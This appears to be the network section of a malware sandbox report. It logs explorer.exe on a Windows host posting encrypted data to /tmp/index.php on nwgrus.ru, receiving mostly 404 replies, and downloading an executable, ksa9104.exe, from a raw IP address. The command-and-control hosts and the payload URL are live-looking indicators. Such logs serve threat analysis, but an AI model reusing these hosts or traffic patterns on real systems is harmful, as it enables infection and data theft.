0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49979	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:54.555557013 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hkihwrdtvsi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: nwgrus.ru
Oct 7, 2024 14:59:54.555573940 CEST	189	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 16 6b 2c 90 f5 76 0b 75 28 58 a1 a5 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu(X6EWiIq%fPovpcDlh 1%(`>fi0Hq;UXVm
Oct 7, 2024 14:59:56.015954018 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 7, 2024 14:59:56.016052008 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:55 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49982	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:56.027776003 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqpiqprsuajpd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: nwgrus.ru
Oct 7, 2024 14:59:56.027798891 CEST	149	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 17 6b 2c 90 f5 76 0b 75 3e 2f c1 bc Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu>/Pq +<g(-&XsKF\9Iz#sS1$
Oct 7, 2024 14:59:57.166579962 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:56 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49993	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:57.417840958 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fsqorqnhaeehy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: nwgrus.ru
Oct 7, 2024 14:59:57.417864084 CEST	230	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 14 6b 2c 90 f5 76 0b 75 47 37 fa bc Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuG7qWAa_nwoTWO%pIl4zIfFY^cu!SiF?0i.87`AE>W'L-5"Ud[
Oct 7, 2024 14:59:58.324579954 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:58 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49998	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:58.333836079 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eihhylujhlro.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: nwgrus.ru
Oct 7, 2024 14:59:58.333861113 CEST	360	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 15 6b 2c 90 f5 76 0b 75 4b 29 fb 96 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuK)MBP^~9[&rgD;C/7:Jx(Y(mn*@5FLuAe1_9KA#+!hgXF`DP`WGjQ)
Oct 7, 2024 14:59:59.252855062 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:59 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50014	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:01:05.021487951 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qcgaudpuoiuttos.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: nwgrus.ru
Oct 7, 2024 15:01:05.021508932 CEST	249	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 51 3b e8 b7 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vuQ;EVln%]M!bw4bUwY6W=JIG[gGb"/m'ow?vVdN"7.A4(JU]+xm^;(*k
Oct 7, 2024 15:01:05.953011990 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50015	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:01:14.439160109 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mhqikqiwjyotw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: nwgrus.ru
Oct 7, 2024 15:01:14.439188004 CEST	205	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2b 02 c2 ad Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vu+y]FBNavw'O;@Vw:d5-MAF~s)fs([2>zzV)Y
Oct 7, 2024 15:01:15.347242117 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:15 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50016	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:01:26.161711931 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dymavinnaeuaxxm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 346 Host: nwgrus.ru
Oct 7, 2024 15:01:26.161739111 CEST	346	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 7e 5e ff 9e Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vu~^W*~>O.ydh42hsGT2(DfOMRt5.zS{L3<uXy89;CfC'>}V8(,l
Oct 7, 2024 15:01:27.088217020 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:26 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50019	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:01:44.417134047 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xuqynkrewbaraj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 238 Host: nwgrus.ru
Oct 7, 2024 15:01:44.417171001 CEST	238	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 21 32 d2 fa Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vu!2\vgofKRIK$D/cb~M0\2'.}M*%71y?bR\|/noBVi52Xox69An
Oct 7, 2024 15:01:46.179423094 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Oct 7, 2024 15:01:46.180727959 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Oct 7, 2024 15:01:46.181176901 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:01:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50022	189.195.132.134	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:02:06.908350945 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://niarphxxbktdxvwh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 339 Host: nwgrus.ru
Oct 7, 2024 15:02:06.908404112 CEST	339	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 73 45 aa f4 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vusEo7\!8pLq9["FhB+T_TZc\|ZV$k6q9B5q\&-6B!F#hjDh.hs4,'3
Oct 7, 2024 15:02:07.858335972 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:02:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50025	189.195.132.134	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:02:28.926256895 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqpnyjpucaq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: nwgrus.ru
Oct 7, 2024 15:02:28.926287889 CEST	132	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 46 07 d6 b8 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vuF/Nb^=evZd\|5'2m$wx
Oct 7, 2024 15:02:29.863377094 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:02:29 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50028	189.195.132.134	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:02:50.000724077 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://akokgrlutaukqvq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 348 Host: nwgrus.ru
Oct 7, 2024 15:02:50.000741959 CEST	348	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 3b 48 be 91 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA .[k,vu;HsWGR{}?a2@(4Ef5E/1W*>k~2?Q5l~G\$JmUSD>YQ}~cC>zlGh/Rw
Oct 7, 2024 15:02:50.926397085 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 13:02:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49932	23.145.40.164	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:59:47 UTC	162	OUT	GET /ksa9104.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.145.40.164
2024-10-07 12:59:47 UTC	327	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:59:47 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Mon, 07 Oct 2024 12:45:02 GMT ETag: "6ce00-623e263b8c9a0" Accept-Ranges: bytes Content-Length: 445952 Connection: close Content-Type: application/x-msdos-program
2024-10-07 12:59:47 UTC	7865	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 93 81 bc 0c d7 e0 d2 5f d7 e0 d2 5f d7 e0 d2 5f b8 96 4c 5f cf e0 d2 5f b8 96 79 5f f1 e0 d2 5f b8 96 78 5f 8b e0 d2 5f de 98 41 5f d0 e0 d2 5f d7 e0 d3 5f 53 e0 d2 5f b8 96 7d 5f d6 e0 d2 5f b8 96 48 5f d6 e0 d2 5f b8 96 4f 5f d6 e0 d2 5f 52 69 63 68 d7 e0 d2 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 f8 8d ee 65 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$___L__y__x__A___S_}__H__O__Rich_PELe
